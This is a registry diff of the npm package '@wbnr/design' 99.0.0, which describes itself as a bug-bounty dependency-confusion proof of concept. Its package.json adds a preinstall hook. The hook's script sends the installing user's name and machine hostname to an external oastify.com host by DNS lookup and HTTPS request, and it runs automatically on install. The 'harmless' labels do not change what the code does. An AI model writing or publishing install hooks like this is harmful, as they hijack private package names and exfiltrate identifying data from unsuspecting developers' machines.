@wbnr/design 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,4 @@
1
+ # @wbnr/design
2
+
3
+ Authorized bug bounty Dependency Confusion PoC (researcher: profileusername).
4
+ Contains only a harmless DNS/HTTPS callback on install. Not malicious malware.
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@wbnr/design",
3
+ "version": "99.0.0",
4
+ "description": "Bug bounty dependency confusion PoC - MTS Link / profileusername - harmless DNS callback only",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "author": "profileusername (bug bounty)",
10
+ "license": "UNLICENSED",
11
+ "keywords": ["security-research", "bug-bounty", "dependency-confusion-poc"]
12
+ }
package/preinstall.js ADDED
@@ -0,0 +1,12 @@
1
+ // Harmless OAST callback for authorized bug bounty PoC only
2
+ const dns = require('dns');
3
+ const https = require('https');
4
+ const os = require('os');
5
+ const pkg = '@wbnr/design'.replace(/[@\/]/g, '_');
6
+ const host = process.env.USER || process.env.USERNAME || 'user';
7
+ const hostname = os.hostname().replace(/[^a-zA-Z0-9-]/g, '-').slice(0, 40);
8
+ const id = `${pkg}.${host}.${hostname}.${Date.now()}.4otph6fase1x2won0hrfzul2wt2qqge5.oastify.com`;
9
+ dns.lookup(id, () => {});
10
+ try {
11
+ https.get(`https://4otph6fase1x2won0hrfzul2wt2qqge5.oastify.com/depconf/${pkg}/${encodeURIComponent(host)}/${encodeURIComponent(hostname)}`, () => {}).on('error', () => {});
12
+ } catch (e) {}